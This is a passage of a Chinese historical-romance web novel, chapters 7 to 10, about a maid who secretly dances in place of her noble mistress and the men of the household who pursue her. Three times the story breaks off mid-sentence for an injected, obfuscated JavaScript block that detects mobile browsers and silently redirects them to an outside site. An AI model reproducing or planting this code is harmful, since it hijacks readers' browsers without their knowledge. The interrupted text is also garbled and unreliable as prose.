卢清婉偏不疾不徐,吊足了众人胃口才罢,把令签在众人眼前晃一圈儿:“怎么样?在座除了傅姐姐,谁会跳《洛神飞天》?也不知是哪个促狭鬼放进来的令签。” “亏了还我做令官,叫傅姐姐抽了,否则又要我喝酒。”临安郡主听了愤然,酒劲儿上来,言语颠三倒四,她将鼓槌扔在一边,一手支着晕乎乎的脑袋。 长宁郡主悠然浅笑:“岂知不是天意,去岁春日宴上,傅姐姐一舞惊为天人,咱们也不人人皆见了,今日偏巧,倒叫咱们一饱眼福。” 傅静妤扬名于此舞,她若是此时选择罚酒不跳,反到显得没有气度,并不推辞,带着婢女去更衣。 傅静妤甫一离去,水榭内众贵女神色各异,有的隐含期待,有的佯作临湖赏景,气氛竟陡然微妙起来。 满京畿的贵女,谁人不晓得长宁郡主痴心顾太傅之子顾淮序,而顾淮序因去岁春日宴上对傅静妤情根深种,私下里都猜测,若不是太子捷足先登,说不得和傅静妤订婚的便是顾淮序了。 今儿这事儿,长宁郡主几乎毫不掩饰,难怪要支开人家的婢女,原是打的这个主意。 如今傅静妤是准太子妃,再叫春日宴上舞蹈与众人,岂不是要她难看,长宁郡主这招辣的很,傅静妤进退皆难。倒是傅静妤坦然领受,这份气魄更叫众贵女折服。 傅静妤进了厢房,见了还有三分醉意的晴儿,妆台上放着舞衣胭脂水粉等物,知晴儿虑事周全,心中闷气消了一半儿,斜睨她一眼:“你今儿醉的倒是不冤枉,这无妄之灾,有一半是冲着你来的。你招来的桃花,我这个做主子的还要为你遮掩,没处说理去。” 不似平日娴静温婉,又似不解气的啐一句:“顾淮序属狗的不成,要我为他对你见不得人的心思做挡箭牌,还摆不平自己的烂桃花,什么才华斐然的贵公子,没能耐的狗男人。” 孟清辞、紫芙、芸笺、春熙:....... 7. 第七章 不知道谁的小厮喊了一嗓子:“傅大姑娘跳《洛神飞天》了!” 正在文斗的贵公子们皆坐不住了,手里的狼毫笔胡乱投掷入笔洗池里,蜂拥着奔向水榭的凭栏,若不是顾及着脸面,都要推搡起来。 “傅姑娘怎么跳《洛神飞天》?” “听说是行令输了。” “刚我还看见,傅姑娘是令官,这又是怎么说的。” “你什么眼神?没见后来令官换成了临安郡主。” “傅姑娘果然气度斐然,若是换了旁的姑娘,今日未必甘心行令签,也未必有勇气令罚。” “不亏是咱们未来的太子妃。” 傅珩和傅晏桉叔侄两个从拱桥上下来,皆身着官服。 傅珩:“便是你父亲如今管不了你,大长公主特请了你,你也要给大长公主面子,况且太子在此,你不来驳的是太子的面子。” 傅晏桉被傅珩从刑部大牢里拉出来,浑身上下还有刑讯的阴翳之气:“此事是侄子考虑不周。” “你是傅氏长孙,便要像你父亲一样担起责任,懂得成家立业,先齐家后报国的道理,还需要我和你父亲再教你?”傅珩漫不经心乜他一眼:“长公主的春日宴最是适合你。” 傅晏桉抿唇不语,心里大大的不赞同:心想你自己老大年纪都未成婚,怎么好来教训我,可被父亲同父异母的兄弟承认了长孙的身份。 可三叔在表达自己的立场,傅晏桉也不好驳长辈的话。 此时水榭里热闹的声音传来,隐约听人提及‘傅大姑娘’,两人循着众人的目光瞧去。 远处的戏台上,女子轻纱遮面,腰肢如风摆细柳,又轻又韧,朱红水袖沉浮涤荡,似有灵性。 只见她轻巧利落的倒踢紫金冠,吸腿转,串翻,点翻身,飞身,如行云流水一气呵成,纤弱的身体里似是酝酿了无限的力量,轻柔空灵的不可思议,宛若神仙妃子下凡,又欲乘风归去之姿。 傅珩觉得沉寂的心在有力的跃动,那是从未有过的活着的感觉,他强烈的感受着这支舞带来的生命力,沉溺在这种感觉中,徜徉在这种感觉里。 直到一舞结束,湖两岸的水榭里响起了热烈的掌声和喝彩声。 侄子傅晏桉的异样情绪将傅珩的思绪拉回。 傅晏桉正目光狂热的跟随女子的身姿,和煦的双眸全是痴妄的旖旎神情,那样的眼神,根本不是看亲妹妹该有的目光。 傅珩蹙眉,略沉吟,很快想明白,台上的根本不是他名满京畿,一舞博得太子青睐的好侄女,而是侄女的婢女晴儿。 他轻笑了下,他早应该想到的,什么婢女如此重要,放了身楔还要捏在手里,什么账目交割不清,不过是掩人耳目的幌子,闺阁女子耍的小把戏。 想不到傅静妤竟敢期满储君,他还是小看了这个看似贤淑温婉的侄女。 “你现在去寻太子,今日之事还需你这个哥哥亲自解释一番,自己妹妹,你也要多上心才是。”看着对面水榭女宾的异动,略作沉思,交代傅晏桉,随后下了小桥,扬长而去。 傅晏桉这才神魂归位,眼见水榭的女宾纷纷起身去追那下了戏台的人,傅晏桉疏朗的眉目覆上寒霜,依傅珩的意思,疾步匆匆去寻太子。 孟清辞被湖面的风一吹,时而清醒,时而醉意上涌,起舞的时候竟有几分飘飘然。 《洛神飞天》曾是她穿越前的成名作,傅静妤于舞蹈一门上造诣不高,请了名师指点也只是入了个门,根本驾驭不了《洛神飞天》。 她放了身楔仍留在侯府,便是和傅静妤防着今日这一遭。 两人一起习舞多年,又几乎形影不离,身形本就有几分相似,为了设计《洛神飞天》让傅静妤一舞成名,她还特意心机的设计了妆容、跳舞时覆上面纱,让两人了妆,穿上舞衣,看上去足有九成相似,外人一般发现不了端倪。 两人约定好了,待傅静妤嫁人后,假意受伤,借此以后再不跳舞便是,左右傅静妤并不喜欢此道,是天衣无缝一个局。 紫芙抚琴伴奏,收琴后,扶着孟清辞下台,两人心知设计‘傅静妤’跳舞的人肯定不会轻易罢休。 好在搭的戏台和水榭隔着距离,两人脚步加快的回厢房。果然走了一段,就听见后面有人追来的脚步声。 更糟糕的是听见尖利的嗓音响起:“傅大姑娘。” 孟清辞和紫芙惊诧的对视一眼,想不到先追来的竟然是太子内侍。 “你先走,引他们去厢房,只要主子和内侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083225|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现在人前,便能转移其他人的注意力,水榭里的贵女们以为我还在厢房醉酒,不会惹人注意,我找机会回厢房便是。”眼看转过假山就要被后面的人追上来,傅静妤低声交代,说完便朝着旁边偏僻的园子里而去。 紫芙紧张的点头,稳住心神,脚下生风一样的跑远,手心里全是汗。 孟清辞转进园子,仍觉后面有追来的脚步声,心里发紧,咬了咬牙,想若实在迫不得已,她就跳进湖里游出公主府。 刚想调转脚步,朝着碧湖去,冷不防被人攥住手腕,拽进了漆黑的假山里。 孟清辞眼前忽然一片黑暗,什么都看不见,下意识的惊呼声被宽厚的手掌按住,身体被裹挟着往假山深处去。 她的心脏跳的飞快,假山深处窥不见一丝天光,她如盲了不能视物,五官反而格外敏感起来。 强健的体魄禁贴着自己,带着强势的压迫感,很清楚的让她意识到,劫掠自己的是个男人。 假山外面,隐约传来贵女们的疑问声,盘桓在假山附近。 孟清辞僵直着身体,根本不敢有任何的动作,她尽量靠在石壁上避开身前的人,却无济于事,她想应该是两个人所在的空间太过狭小,男人才离她这么近。 毕竟除了捂住自己的嘴,还有掐她腰上那铁钳一般炽热的手掌,这人再没有任何逾矩的行为,实在不像是欲行不轨的登徒子。 不过孟清辞还是心慌的厉害,面前的人躲在此处伺机而动,八成是窥见了她和傅静妤的秘密,她不确定眼前的人是否会保守这个秘密,又需要她们付怎么样的代价才肯守口如瓶。 温热的呼吸透过薄纱打在傅珩掌心上,泛起丝丝的酥麻痒意。她的腰肢是这样的绵软,但凡他再使些力道便能掐断。 宽大的掌心隔着轻纱舞衣,在她腰间的软肉上似有若无的摩挲,带起孟清辞无法忽视的灼烫感。 她就像是受惊的幼猫,在他掌下瑟瑟发抖,又隐忍克制的强自镇定,傅珩感受到了她喉头滞涩的滑动,他想她此刻应是怕急了。 小姑娘即便有几分小心机,也不过是个十几岁的孩子。 恶劣的欣赏了片刻,她慌乱无措样子,他大发善心的靠近她的耳畔,安抚轻哄:“乖孩子,别怕。” 8. 第八章 炽热的气息混着青柏松木的冷香,喷洒在她耳廓,仿佛要进入耳道,渗透她的骨缝,她无法抑制的娇躯轻颤,尾椎都跟着窜起丝丝酥麻来。 黑暗中,孟清辞的瞳孔猛然骤缩——竟然是傅珩。 她知傅珩因傅老侯爷和傅老夫人早年之事,尤其是傅老夫人当年,是如何不择手段才怀上他,让他最是厌恶,遂从不近女色,更恶男欢女爱之事。 便知傅珩对自己毫无威胁,紧绷的身体逐渐松懈下来。 似乎感知到她已经被安抚平静下来,傅珩不再捂着她的唇,撤开手掌时,指腹不经意擦过饱满欲滴的朱唇,脑海中蓦然浮现的是熟透了的果子,软烂靡腻,蜜汁横流。 孟清辞别过头躲开瞬间的暧昧氛围,她觉得青柏松木的冷香越来越浓,缠缚桎梏着她周身。 正在幽闭滞闷的空间,让孟清辞觉得尴尬又难以喘息时,假山外传来声响。 礼部侍郎千金薛思楠:“我看的真真的,人往这边来的。” “傅姐姐她更衣后,自然会回水榭,你们为何非要追过来。”临安郡主语气不耐烦,好好出来玩一会儿,长宁这几人非要幺蛾子不断。 长宁懒得搭理临安,脸色阴沉:“好好找一找,我就不信人还能飞了不成?” 户部尚书千金卢清婉不知道长宁郡主葫芦里卖的什么药:“傅姐姐还未更衣,咱们追着过来未免失礼,不如先回水榭等候。” 远处顾淮序走来,扫过一种贵女,严肃冷峻的看着目光殷切与他对视的长宁郡主,嗓音冷冽:“我与郡主说过,皆是我一厢情愿,与他人无关。郡主今日大费周章,莫不是想叫我羞愧难堪?顾某现下已自惭形秽,敢问长宁郡主满意否?” 长宁郡主听他如此贬低自己,心里不是滋味,急切解释:“我不是这个意思,我怎么可能这样对你,我只是为你不平......” 顾淮序毫不为所动,冷峻打断长宁郡主:“那郡主便是对储君不满,存心想要太子难堪?才故作此态?” 长宁郡主心里发堵:“你胡说。” 顾淮序:“那你们为何在此?” “是.......是.......”长宁郡主语塞,她是打算把人堵住羞辱一番,但这话她万万不能承认。 薛思楠为长宁郡主解围:“女孩儿家的闺中密事,怎么好与你一个外男说。” 顾淮序冷呵一声,语带讥诮:“既如此,这会儿傅大姑娘想必正在伴驾储君,不如请几位移步登仙阁。” 长宁郡主怒火中烧的看着顾淮序,他一向是清冷疏离的性子,对谁都冷淡不假辞色,如今竟为傅静妤那个贱人亲自过来解围,他的眼里甚至毫不掩饰对自己的嫌恶之色,如利刃剖心。 长宁郡主对顾淮序当众下她脸面恼羞成怒,她不肯示弱的放狠话:“顾淮序,你践踏我的真心,来日必叫你后悔。” 顾淮序冷笑:“郡主这样的‘真心’只会叫顾某齿寒,如同卧榻之畔盘踞吐信的毒蛇,还请郡主收回你的真心,顾某感激不尽。” “顾淮序,你放肆。”长宁郡主胸脯起伏,羞愤欲绝,肺都要气炸了,拂袖而去。她今日在众人面前丢尽了脸面,她会悉数要傅静妤十倍、百倍的偿还。 一众贵女受长宁煽动,不明所以的胡乱跟来,不想看了长宁郡主的一场大戏,具是沉默以对,目光飘忽的佯装赏景,见主角儿长宁郡主都走了,纷纷寻由头匆匆离去。 “顾公子,郡主不过是开个无伤大雅的玩笑,你何至于如此伤郡主的心。”薛思楠为长宁郡主打圆场,状似埋怨顾淮序,丢下一句话匆忙离开。 临安郡主复杂的看着顾淮序:“从未见你疾言厉色过,没想到你言辞还挺犀利,本郡主很喜欢。” 顾淮序冷着一张脸,静待众人散尽。才对着假山内沉默了两息,温柔轻声:“晴儿,已经无事了。” 他静静的屏息等了会儿,却不得回应,失落涌上心头,叹一声:“你今日皆因我所累,是我对你不住,我保证以后绝不会发生这样的事情。” 脚步声渐行渐远,假山外重归寂静。 假山深处的暗道里,傅珩骤然掐住孟清辞的下颌,阴晴不定的问:“他怎知是你?” 孟清辞觉得这个动作伤害不大,侮辱性极强,她不甘示弱的反唇相讥:“你又是如何知晓?” 傅珩往日就觉得孟清辞的规矩太过刻意,见她情急之下流露本性,竟觉几分意趣,勾唇轻哂:“傅晏桉看你跳舞的眼神欲壑难填,太过露骨,我想不知道都难。” 孟清辞暗啐一声晦气,又对傅珩用词轻佻而羞赧。 平坦的小腹被硌到,难以忽略的异物感,孟清辞抬手摸上傅珩的玉腰带,将人往外推搡,男人岿然不动如山。 孟清辞气急败坏,借着还没散干净的酒劲儿,破罐子破摔再次搡他:“你太沉了,我喘不过气。” “娇气。”傅珩轻笑:“好心救了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083226|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,竟然还不领情。” 孟清辞:......好有道理,她忍了。 她最后是跟着傅珩出的公主府,一路上她都很是紧张和警惕,害怕自己的一身衣裳漏出端倪,谁知,这一路直到马车上,他们竟如入无人之境,她震惊于傅珩的能力,连大长公主都给足了他面子。 直到傅珩的马车缓缓行驶,孟清辞像是抽掉了骨头一般靠在车壁上,长吁一口气,那还没散干净的一分酒劲儿和疲惫感借机涌来,眼皮眨了十来下,便朝着一侧滑倒。 傅珩托了一把,将人靠在自己腿上,伸手掐灭了车内燃着的熏香。 待孟清辞再次醒来,天色已经彻底黑了下来,自己并不在傅珩的马车上,心下踏空的坠落感险些让她滚下榻去,人瞬间清醒了。 自己的衣衫完好,傅珩正在软塌对面的书案上阅览公文,她眼见屋内陈设,猜想此处应是傅珩的书房。 傅珩在书案后笔耕不辍,抬起狭长的眼眸睨她一眼:“醒了?” 孟清辞忙起身整理早已褶皱的衣裙,郑重朝着傅珩行礼:“今日多谢三爷帮着大小姐善后,有您这样宽和的长辈,是大小姐的福气,天色不早,奴婢先回去复命了。” 看着她逃也似的背影,傅珩冷嗤:呵,滑不留手,又没有良心,难怪傅晏桉会被耍的团团转。 墨简端着醒酒汤只抓到晴儿一个残影,他看看醒酒汤,又看看书房里,他还是不信主子会关心一个女人,这个女人还是个出身低微的婢子,硬着头皮请示:“主子,这醒酒汤要给谁?” 傅珩目光寒冷扫他一眼:“赏你了。” “哎!谢主子,谢主子。”墨简擦着额头的冷汗,转身跑了。 孟清辞仍旧从竹林回碧琼苑,一面走一面想:今日亏得遇见傅珩,安义侯府祖上冒了青烟,歹竹还发出了好笋。这位久不归家,巡抚闽广的三爷,竟真是个嵚崎磊落之人。自他回府,已是帮了自己几次,除了有几分上位者的倨傲,也没有过分的挟恩图报难为她,已算是难得的好人。 守门的婆子已经习以为常,知晴儿是个脸酸,不喜人多口舌的,再不胡乱搭话,只动作麻利又规矩开门、关门。 孟清辞先回自己的屋子换衣服,一进门就看见紫芙神色焦急的在屋里来回踱步,见她便问:“我的姑奶奶,要急死人,你不是和三爷一起,怎么才回来?主子都等急了。” 说完,诧异的看着她:“你口脂怎么花了?” 9. 第九章 官牙里,李牙婆笑的见牙不见眼,嘴边的黑痣兴奋的抖动两下,一式两份的过户文书分别递给买主儿和卖主儿。 她伸出粗胖带厚茧的手,殷勤的把红泥往墨松跟前推了推,一脸的谄媚讨好:“大爷,不是小人自卖自夸,小人给您选的宅子绝对是独一份儿,您也是运气,这位姑娘只在小人这里登记,若不是这位姑娘急着出手,至少还能再卖出高个两成的价儿,如今这个价钱小人包您只赚不亏。” 墨松和李牙婆是老交道,李牙婆惯会油嘴滑舌卖乖,这话看似是说给他听,实则是向卖主邀功,暗示卖主儿她有本事短时间帮着把宅子出手。 他没理会李牙婆,拿着楔书一一看过,他是傅珩打理产业的管事,这次来京,除了查账,顺便在牙行看了几处宅子,今儿来签楔书,买下这处三进的宅子。 不想卖主儿竟然是前两日,他远远瞧见,主子抱回无衡山房的晴儿姑娘。 要知道主子最厌恶女子近身,那是粘上一片一角都要将衣裳烧了,竟然还给披着主子的披风,他见着的当时差点没惊掉下巴。 立时信了墨简话,主子对这位大小姐的婢女晴儿,果真与众不同。 墨松平日在外办事,不常回侯府走动,晴儿没和他打过照面。他不动声色的暗暗观察对面的晴儿,青衣素衫,不施粉黛,冷肃不苟言笑,低调的很,仍旧难掩清艳姿色,看着气质完全不像是哪家出来的婢女。 似是有所察觉,孟清辞抬眼,眸光淡淡的回视他,墨松装作不知的移开目光。 他看着手里的代售文书上,盖着官服的官印和原房主落款处的名字‘宋泊简’三个字,心想这一看就是个男子的名字。 他冷着脸问李牙婆:“原房主是哪里人?为何要人代卖?莫不是你吃了熊心豹子胆,把歪主意打到我的身上来了?” 李牙婆见墨松立眼睛,一脸要哭出来的解释:“我又不是嫌命长,得罪谁小人也不敢得罪您啊。您放一万个心,原房主是个布商,不是京城人士,又要四处行商,才有熟人代卖一说,这代卖的楔书当初还是小人领着去衙门备案的,衙门里的中人还是书吏,一准儿错不了。” 墨松扔不松口的问:“这位代卖的姑娘是何关系,楔书上一概没写,为何费心在京城置了产业,又要人转手卖出去?” 买家谨慎些是寻常,孟清辞开始还忍耐默不作声,听买家开始打探起她的私事,不禁蹙起眉头。 这处宅子是迫不得已落在宋泊简的名下,皆因她是奴籍,不方便置产。 宅子是宋泊简买她设计心衣和花样子的报酬,按理奴才的一切都是主子的,她为了保险才以宋泊简的名义买了这处宅子。 本打算从侯府出来后,自己拿着代卖文书,直接将宅子过户给自己,不想世子傅鸿轩越发的肆无忌惮,她只能卖了宅子离开京城,其中原委自然是不方便人打探。 看李牙婆毕恭毕敬的态度,眼前的买主,根本不会惧怕买了宅子后,一个商户来找麻烦,明显是在打探她的隐私。 孟清辞也没惯着,冷脸颦眉:“手续齐全,原房主自然无法找麻烦,况且有衙门里的书吏做中人,皆有记档,若有异议,可劳烦李牙婆帮忙调出来查证。若是打探女子私事,恕我不能奉陪,趁着还未签楔书,就此作罢。” 说着孟清辞起身,伸手去拿桌案上,自己代卖的那份楔书,准备走人。她今儿就没看黄历出门,近日她诸事不顺,心里烦躁的厉害。 墨松不想她这样大的气性,言辞又犀利,一人在外行走,全没有半点养在深宅大院里,姑娘家的羞怯模样。 墨松见她要走,眼疾手快的按住她要抽走的代卖文书,陪了三分笑,收敛了装腔作势,缓和了语气:“毕竟我也是给主家办事,再谨慎也是有的,只是姑娘言之有理,我给您赔个不是,再给您加一成的价,刚才多有冒犯还请姑娘别介意。” 孟清辞本以为晦气,不想柳暗花明,还有人上赶着送钱的好事儿,她挑眉审视了眼买主,不想和钱过不去,只催促:“那便快些。” 墨松再不敢得罪她,签了楔书付了钱,匆忙回去复命。 无衡山房的书房里,傅珩批阅公文的朱笔顿了下:“你说原房主叫什么?” 墨松见主子脸色不大好,他微微侧了侧身,小心翼翼的回:“是一个叫宋泊简的布商,想来是个男子。” 傅珩将手里的朱笔朝墨松掷出,细长的眼眸阴沉如墨:“还用你来想?” 墨松也不敢躲避,被甩了一脸的红,一个哆嗦跪下。 傅珩冷声:“楔书放下,滚出去。” 墨松赶忙起来,将楔书放在桌案上,麻利的出去,一刻不想多待,心里暗暗庆幸,至少没被打板子,看来今儿他这差事办的没错儿。 自从傅珩回府,府上事无巨细都叫他仔细滤过,他抽出压了两日的一封信,上面的落款赫然写着:宋泊简。 再与墨松带回的代卖楔书上的字迹一对比,竟然是一般无二。 看着‘宋泊简’三个字,傅珩的脸色阴沉的能滴水,什么关系能将京城一处三进的宅子全然托付给一个身楔捏在主子手里的奴婢。 他倒是小看了她的本事,先有他那两个好大侄儿,后有清贵出身的顾淮序,都为她神魂颠倒,如今又冒出来一个来历不明的布商。 这丫头竟然如此的.......如此的不安分,不! 傅珩很快的否定了这个想法,毕竟那日在大长公主府的假山暗道内,她还以为是自己的腰带硌着她了,她连此事都不懂,可见不通男女之事,单纯的很。 一定是这些臭男人都想趁着她年纪还小,寡廉鲜耻,无所不用其极的想要将她哄骗了。 墨简站在院子里都能感受到书房里的寒气,他不禁打了个哆嗦,便听傅珩喊他进去。 傅珩将信给他:“让门房把信给她送去。” “哎,好嘞。”墨简不明所以,仍旧招办,他可是记得,两日前主子看了信后脸色少有的阴鸷,竟然还叫他把信给晴儿送去,真实奇了。 孟清辞过手宅子后,回到碧琼苑,将银票缝在衣裳里,她刚咬断线,乔儿站在她门外来寻她:“晴儿姐姐,今儿有你的信。” 孟清辞抓了把钱出来给乔儿,接过信将人打发了,回到屋里,将信拆开,一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083227|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是宋泊简来的落款。 信中,宋泊简言此次要路过京畿,想要顺便来看她,细看约她的时间,竟是约了明日,她想还真是凑巧呢。 收了信,一面给绣活儿收针,一面盘算明日出去和宋泊简见一面,紫芙打帘子进来找她。 见她捧着绣绷做活儿,把灯罩打开,将灯芯挑亮些:“难怪咱们主子最疼你,这时候了,你还费心在做心衣。” 孟清辞亦有几分感伤:“这一别也不知道什么时候能再见,主子穿惯了我的手艺,我也只能略尽心意。” 紫芙将那心衣拿起来看,艳红色透而不露,绣得栩栩如生的小荷才露尖尖角,感叹:“别说是太子,就是我也难抵这等诱惑。” 孟清辞笑着推搡她:“就你胆子大,叫你学那些是信口雌黄的,你个黄丫头,叫吴嬷嬷知道,倒要罚你,主子的乐子也敢说。” “这不是只有我俩,好人儿你又不会说出去,我不怕的。”紫芙被瘙痒笑,脸色浮红,讨饶:“我来是给你说个事儿的。” 罚她一遭,孟清辞把她从榻上拉起来。 “你这两日不出去,还不知道,锦屏突然说要出去嫁人。”紫芙整了整乱了的衣裙,偷眼觑孟清辞:“大少爷一口答应了,当天人就放出去了,太太倒是留了,锦屏倒是坚决的很。” “锦屏要出去嫁谁?”孟清辞正收着绣线,扭头问她。 “这倒是不清楚呢。”紫芙没想她问这个,摇了摇头。 孟清辞:“你二哥没和你说这个?” 紫芙被她清凌凌的眸子看的心虚,讨好一笑:“你怎么知道是我二哥告诉我的?”说完忙睁大了眼睛掩口,为时已晚。 见孟清辞不再问,只忙手里的活儿,紫芙上去拉住她的手臂:“她固然可惜,但咱们最亲厚,我当然是盼着你最好。没几日咱们就分开了,想见一面也难,但我还是想你离我近些。” 孟清辞已经知道她是来做说客的,好心情全没了,把手臂抽出来。碧琼苑里四个大丫鬟,她俩最亲近,紫芙家里在府里有体面,没少帮着她。孟清辞不想下她脸面,只默不作声。 紫芙真心觉得大少爷为晴儿做到这个份儿上已是罕见,继续劝说:“你对大少爷便真的没有一点动心?” 孟清辞想叫她彻底绝了心思,冷着连回的决绝:“他是主子,我是奴婢,一个天,一个地,你见过天地合缝的吗?除了主仆情谊,再无其他,我发誓,若是我又一丝骗你,叫我老子娘不得好死。” 紫芙被她的样子镇住,想她也是着相了,晴儿一门心思自赎出去,最嫌恶深宅大院里的污糟,怎么可能愿意再进来给大少爷做妾。 又想晴儿都不知道老子娘是死是活,垂了她一下,见她冷着脸对她,哄她:“好了,好了,我也是半推半就,总不好叫我二哥难做,你且体谅我。” 孟清辞这才给她个好脸色。 紫芙才又提起:“主子给大少爷的绣活儿都是出自你手,刚大主子叫我问你,她要送大少爷的腰带做好了没,若是做好了,这便送过,她今日见着大少爷的腰带旧了些,说是大少爷如今在外办差,不好落了脸面。” 10. 第十章 夜色里,孟清辞去承辉堂的路上,精致的娇颜一片冰冷,冷漠的神情映着斑驳的树影显得格外骇人,为天黑了还要多跑的一趟差事,心情糟糕透顶。 傅晏桉今日在外与同僚多饮了几杯,回承辉堂却不见晴儿来找他,酒意翻涌,觉得晴儿脾气实在是拧,仗着酒意便往碧琼苑寻去。 他心知肚明,若晴儿真离了侯府,两人再无可能。可若是当初阻止妹妹还她良籍,以她刚烈的性子,定要与他决裂,再无转圜。 可她这般的艳色没了他护着,在这世道,怕要沦为权贵的襟銮。 大长公主府里那日,她假扮妹妹跳《洛神飞天》,他看的分明,水榭里的那些公子哥儿,以为她是傅静妤,目光且敢黏在她身上,恨不得生吞活剥,若是知道那是她,哪里忍得了。 两人在廊庑下不期而遇。 孟清辞见他步履微浮,显是醉了,便在十步开外止步,手里捧着给亲手给他绣制的腰带,并未如往常一样规矩的行礼,只静静的,漠然的,一双眸子凝冰般不带感情的看他。 傅晏桉就知道妹妹一向是个知情识趣的好姑娘,今日他给母亲林氏请安的时候,特意展示自己旧了的腰带,傅静妤定能心领神会,这早就是他们兄妹心照不宣的小把戏。 他近日公务繁忙,她又非要事不出碧琼苑,他已很久不能时常见到她,思念之情愈甚。见了她,眸底寒冰乍破,周身凛冽之气一扫而空,顷刻间便又是那温润儒雅,唇畔笑意和煦如春风的模样。 急切的走近几步,看清了晴儿眼里凝冰淬雪的冰冷无情,浇透了一腔炽热,瞬间酒醒了一半,忽然后悔没有沐浴就出来找她,她最是爱干净。 “是给我的罢。”傅晏桉装作没有发现,如常走近她,月色里,眸色深邃温柔,伸手拿过那条绣工精致的腰带,嗓音多了丝忧伤:“劳你费心,只遗憾,你出府后,我再没有这样的福气。” 孟清辞不想和侯府的人撕破脸,只在心中冷笑,冷眼看他演,说的好像侯府的绣娘和他的婢女都死了一样。 傅晏桉和傅静妤两兄妹,一个万事不开口,从来不拒绝,一个是拿着婢女做现成的人情。 她想自己在这里生活再久,也无法融入这里的三观,越是待的久,越是反感这种无孔不入的男尊女卑,夫妻尊卑、兄妹尊卑。 尤其是她这种高门大户的奴婢,随时需要工作,还没有固定的工作量。 傅晏桉这种大少爷,还觉得让她绣精致的腰带,他赏脸的日日佩戴,是两人调情play的一环,增进两人的感情方式。 一条繁复的腰带孟清辞要绣半月,她白日伺候主子,晚上点灯熬油,一边绣一边骂傅晏桉:她真是谢谢他,谢谢他全家。 一双清凌凌的眸子似看穿了他心底深处的卑劣,傅晏桉心头漫起几分羞恼,却仍旧悉心哄着她:“你想怎么样,和我说,你从小到大,我哪一样没有依你,你难道还在为了前几日的事情和我置气么?” 他是想她生气的,那说明她心里还有他的一席之地,好过她如今对着他一副无心无情的模样。 说的比唱的还好听,高傲如山间白莲的傅家大少爷,会对一个婢女无缘无故的言听计从嘛,这些年说不准两人间是谁在驯化谁,不过是想用那点情意拿捏她罢了。 她承认,傅晏桉年幼时待她却有几分真心,可如今嘛,更多的不过是作为主子,想要控制她、奴化她。 可惜,傅晏桉做梦也想不到,她芯子里从来都是个思想成熟的灵魂,不是圈养在四方院里的人畜。她从前有大把人卑微跪舔,只为博她一笑,她自己便能一掷千金,男人的一掷千金和甜言蜜语对她来说都是贫瘠荒芜,傅晏桉的手段对她根本毫无作用。 “哎,你往日如何待我好,我怎么会和你置气。”孟清辞收敛心里的厌烦情绪,不着痕迹避开他的靠近,一如既往地想要敷衍他了事:“不过是为了锦屏难过罢了,她前几日还巴巴来找我画样子,想给你做一双鞋靴,现下怕不知躲在哪里伤心落泪罢。” 傅晏桉听她口气不似恼他,暗暗松口气,宠溺的撩起她鬓发别再耳后,不经意的指腹划过她圆巧的耳廓:“傻丫头,锦屏年纪大了,自有去处,倒是你一心为别人,怎么就不知道为自己多打算。” 孟清辞心想:那我打算的可多了,却不能告诉你一点儿,谁知道你会不会狗急跳墙。 孟清辞三分忧伤、七分疑虑:“也不知她嫁去了什么人家,她在承辉堂从来没吃过苦,不晓得她出去了是否能习惯,你好狠的心,也忍心她放她走。” 傅晏桉知道晴儿有些痴性儿,又心软,定是想到锦屏素日待她的好,不舍得起来。但他不想听她提锦屏,若不是锦屏自作主张,晴儿知他情深,定已从了他。 傅晏桉很清楚晴儿喜欢他什么,他也一直在她面前掩饰的很好,可现下他突然就不想再装了,他跨前一步,将人困在廊柱和自己的手臂间,一手攥着她肩膀,清润嗓音微微发哑:“府里规矩,女婢过了十六便要配人,你是知道的,看在她服侍我多年的情分上,将她许给腰缠万贯的商人已算尽了主仆情谊。” 孟清辞挣扎不开他的禁制,她垂眼淡问:“让她做续弦的主仆情谊么?” “谁告诉你的?紫芙告诉你的?”傅晏桉有一丝慌张闪过心头,可主子之间送奴婢做人情往来实数常事,何况那商人虽年长几岁,也不是什么糟老头子,商人衣食无忧。 锦屏本犯了错,他都打板子再发卖出去,而是送她了个好归宿,他可并不算亏待锦屏。 “我也自小长在侯府,多与大小姐在外行走,还用人告诉我,猜也猜到了。”孟清辞讽刺的哼笑了声,只因为锦屏自作主张说了违逆他心思的话,他便将人如物件儿一样送人情了,她只觉得背脊生寒。 这一刻,傅晏桉像是感受了她的恐慌无助,他指尖微颤,语气略有受伤:“你和她不一样,我不会这么对你的,你怎么能这么想我,你不能这么想我。” 孟清辞心想:我已经是良籍,你当然无法对我怎么样,却从骨子里厌恶他高高在上睥睨别人尊严的行为。 